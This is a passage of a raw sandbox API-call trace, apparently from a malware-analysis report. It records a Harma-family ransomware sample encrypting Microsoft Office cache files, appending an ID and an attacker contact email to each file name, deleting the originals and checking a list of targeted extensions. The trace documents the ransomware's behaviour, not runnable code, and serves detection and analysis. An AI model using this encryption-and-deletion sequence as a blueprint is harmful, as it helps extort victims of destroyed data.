Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0040.230] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x174 [0040.230] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.230] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.230] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x17c [0040.230] GetLastError () returned 0x0 [0040.230] ReadFile (in: hFile=0x174, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x251f, lpOverlapped=0x0) returned 1 [0040.232] WriteFile (in: hFile=0x17c, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x2520, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x2520, lpOverlapped=0x0) returned 1 [0040.233] ReadFile (in: hFile=0x174, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.233] WriteFile (in: hFile=0x17c, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xec, lpOverlapped=0x0) returned 1 [0040.233] SetEndOfFile (hFile=0x17c) returned 1 [0040.233] CloseHandle (hObject=0x17c) returned 1 [0040.238] SetFilePointerEx (in: hFile=0x174, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.238] SetEndOfFile (hFile=0x174) returned 1 [0040.239] CloseHandle (hObject=0x174) returned 1 [0040.239] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0040.239] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\visiomui.xml")) returned 1 [0040.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0040.239] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0040.239] lstrlenW (lpString=".doc") returned 4 [0040.239] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.239] lstrlenW (lpString=".docx") returned 5 [0040.239] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0040.239] lstrlenW (lpString=".pdf") returned 4 [0040.239] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.240] lstrlenW (lpString=".xls") returned 4 [0040.240] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.240] lstrlenW (lpString=".xlsx") returned 5 [0040.240] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0040.240] lstrlenW (lpString=".ppt") returned 4 [0040.240] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0040.240] lstrlenW (lpString=".zip") returned 4 [0040.240] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.240] lstrlenW (lpString=".rar") returned 4 [0040.240] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.240] lstrlenW (lpString=".bz2") returned 4 [0040.240] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.240] lstrlenW (lpString=".7z") returned 3 [0040.240] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0040.240] lstrlenW (lpString=".dbf") returned 4 [0040.240] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0040.240] lstrlenW (lpString=".1cd") returned 4 [0040.240] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0040.240] lstrlenW (lpString=".jpg") returned 4 [0040.240] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0040.240] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0040.240] lstrlenW (lpString=".doc") returned 4 [0040.240] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.240] lstrlenW (lpString=".docx") returned 5 [0040.240] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0040.240] lstrlenW (lpString=".pdf") returned 4 [0040.240] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.241] lstrlenW (lpString=".xls") returned 4 [0040.241] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.241] lstrlenW (lpString=".xlsx") returned 5 [0040.241] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0040.241] lstrlenW (lpString=".ppt") returned 4 [0040.241] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0040.241] lstrlenW (lpString=".zip") returned 4 [0040.241] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.241] lstrlenW (lpString=".rar") returned 4 [0040.241] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.241] lstrlenW (lpString=".bz2") returned 4 [0040.241] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.241] lstrlenW (lpString=".7z") returned 3 [0040.241] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0040.241] lstrlenW (lpString=".dbf") returned 4 [0040.241] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0040.241] lstrlenW (lpString=".1cd") returned 4 [0040.241] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.241] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\VisioMUI.xml") returned 75 [0040.241] lstrlenW (lpString=".jpg") returned 4 [0040.241] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.241] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0040.241] lstrlenW (lpString="OneNoteMUI.xml") returned 14 [0040.241] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0040.378] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=1606) returned 1 [0040.378] CloseHandle (hObject=0x160) returned 1 [0040.378] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 0x2020 [0040.482] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0040.482] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c [0040.482] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.482] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.482] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0040.483] GetLastError () returned 0x0 [0040.483] ReadFile (in: hFile=0x18c, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x646, lpOverlapped=0x0) returned 1 [0040.604] WriteFile (in: hFile=0x190, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x650, lpOverlapped=0x0) returned 1 [0040.605] ReadFile (in: hFile=0x18c, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.605] WriteFile (in: hFile=0x190, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0040.606] SetEndOfFile (hFile=0x190) returned 1 [0040.606] CloseHandle (hObject=0x190) returned 1 [0040.607] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.607] SetEndOfFile (hFile=0x18c) returned 1 [0040.607] CloseHandle (hObject=0x18c) returned 1 [0040.608] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0040.608] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 1 [0040.608] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0040.608] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0040.608] lstrlenW (lpString=".doc") returned 4 [0040.608] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.608] lstrlenW (lpString=".docx") returned 5 [0040.608] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0040.608] lstrlenW (lpString=".pdf") returned 4 [0040.608] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.608] lstrlenW (lpString=".xls") returned 4 [0040.608] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.608] lstrlenW (lpString=".xlsx") returned 5 [0040.608] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0040.608] lstrlenW (lpString=".ppt") returned 4 [0040.608] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.608] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0040.608] lstrlenW (lpString=".zip") returned 4 [0040.608] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.609] lstrlenW (lpString=".rar") returned 4 [0040.609] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.609] lstrlenW (lpString=".bz2") returned 4 [0040.609] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.609] lstrlenW (lpString=".7z") returned 3 [0040.609] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.609] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0040.609] lstrlenW (lpString=".dbf") returned 4 [0040.609] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.609] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0040.609] lstrlenW (lpString=".1cd") returned 4 [0040.609] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.609] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0040.609] lstrlenW (lpString=".jpg") returned 4 [0040.609] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.609] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0040.609] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0040.609] lstrlenW (lpString=".doc") returned 4 [0040.609] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.609] lstrlenW (lpString=".docx") returned 5 [0040.609] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0040.609] lstrlenW (lpString=".pdf") returned 4 [0040.609] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.609] lstrlenW (lpString=".xls") returned 4 [0040.609] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.609] lstrlenW (lpString=".xlsx") returned 5 [0040.609] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0040.609] lstrlenW (lpString=".ppt") returned 4 [0040.609] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.609] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0040.609] lstrlenW (lpString=".zip") returned 4 [0040.610] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.610] lstrlenW (lpString=".rar") returned 4 [0040.610] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.610] lstrlenW (lpString=".bz2") returned 4 [0040.610] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.610] lstrlenW (lpString=".7z") returned 3 [0040.610] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.610] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0040.610] lstrlenW (lpString=".dbf") returned 4 [0040.610] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.610] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0040.610] lstrlenW (lpString=".1cd") returned 4 [0040.610] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.610] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0040.610] lstrlenW (lpString=".jpg") returned 4 [0040.610] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.610] lstrcmpiW (lpString1=".chm", lpString2=".harma") returned -1 [0040.610] lstrlenW (lpString="pss10r.chm") returned 10 [0040.610] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0040.807] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=27195) returned 1 [0040.807] CloseHandle (hObject=0x168) returned 1 [0040.807] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 0x2020 [0040.807] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0040.807] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0040.808] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.808] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.808] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0040.808] GetLastError () returned 0x0 [0040.808] ReadFile (in: hFile=0x168, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0041.083] WriteFile (in: hFile=0x194, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0041.084] ReadFile (in: hFile=0x168, lpBuffer=0x2f10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x238fed4, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesRead=0x238fed4*=0x0, lpOverlapped=0x0) returned 1 [0041.084] WriteFile (in: hFile=0x194, lpBuffer=0x2f10020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x238fc9c, lpOverlapped=0x0 | out: lpBuffer=0x2f10020*, lpNumberOfBytesWritten=0x238fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0041.084] SetEndOfFile (hFile=0x194) returned 1 [0041.084] CloseHandle (hObject=0x194) returned 1 [0041.086] SetFilePointerEx (in: hFile=0x168, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x238fec8 | out: lpNewFilePointer=0x0) returned 1 [0041.086] SetEndOfFile (hFile=0x168) returned 1 [0041.087] CloseHandle (hObject=0x168) returned 1 [0041.087] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0041.087] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 1 [0041.087] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0041.087] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0041.088] lstrlenW (lpString=".doc") returned 4 [0041.088] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0041.088] lstrlenW (lpString=".docx") returned 5 [0041.088] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0041.088] lstrlenW (lpString=".pdf") returned 4 [0041.088] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0041.088] lstrlenW (lpString=".xls") returned 4 [0041.088] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0041.088] lstrlenW (lpString=".xlsx") returned 5 [0041.088] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0041.088] lstrlenW (lpString=".ppt") returned 4 [0041.088] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0041.088] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0041.088] lstrlenW (lpString=".zip") returned 4 [0041.088] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0041.088] lstrlenW (lpString=".rar") returned 4 [0041.088] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0041.088] lstrlenW (lpString=".bz2") returned 4 [0041.088] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0041.088] lstrlenW (lpString=".7z") returned 3 [0041.088] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0041.088] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0041.088] lstrlenW (lpString=".dbf") returned 4 [0041.088] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0041.088] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0041.088] lstrlenW (lpString=".1cd") returned 4 [0041.088] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0041.088] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0041.088] lstrlenW (lpString=".jpg") returned 4 [0041.088] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0041.088] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0041.088] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0041.088] lstrlenW (lpString=".doc") returned 4 [0041.089] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0041.089] lstrlenW (lpString=".docx") returned 5 [0041.089] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0041.089] lstrlenW (lpString=".pdf") returned 4 [0041.089] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0041.089] lstrlenW (lpString=".xls") returned 4 [0041.089] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0041.089] lstrlenW (lpString=".xlsx") returned 5 [0041.089] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0041.089] lstrlenW (lpString=".ppt") returned 4 [0041.089] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0041.089] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0041.089] lstrlenW (lpString=".zip") returned 4 [0041.089] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0041.089] lstrlenW (lpString=".rar") returned 4 [0041.089] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0041.089] lstrlenW (lpString=".bz2") returned 4 [0041.089] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0041.089] lstrlenW (lpString=".7z") returned 3 [0041.089] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0041.089] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0041.089] lstrlenW (lpString=".dbf") returned 4 [0041.089] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0041.089] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0041.089] lstrlenW (lpString=".1cd") returned 4 [0041.089] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0041.089] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0041.089] lstrlenW (lpString=".jpg") returned 4 [0041.089] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0041.090] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0041.090] lstrlenW (lpString="AccessMUISet.xml") returned 16 [0041.090] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0041.092] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x238ff1c | out: lpFileSize=0x238ff1c*=819) returned 1 [0041.092] CloseHandle (hObject=0x168) 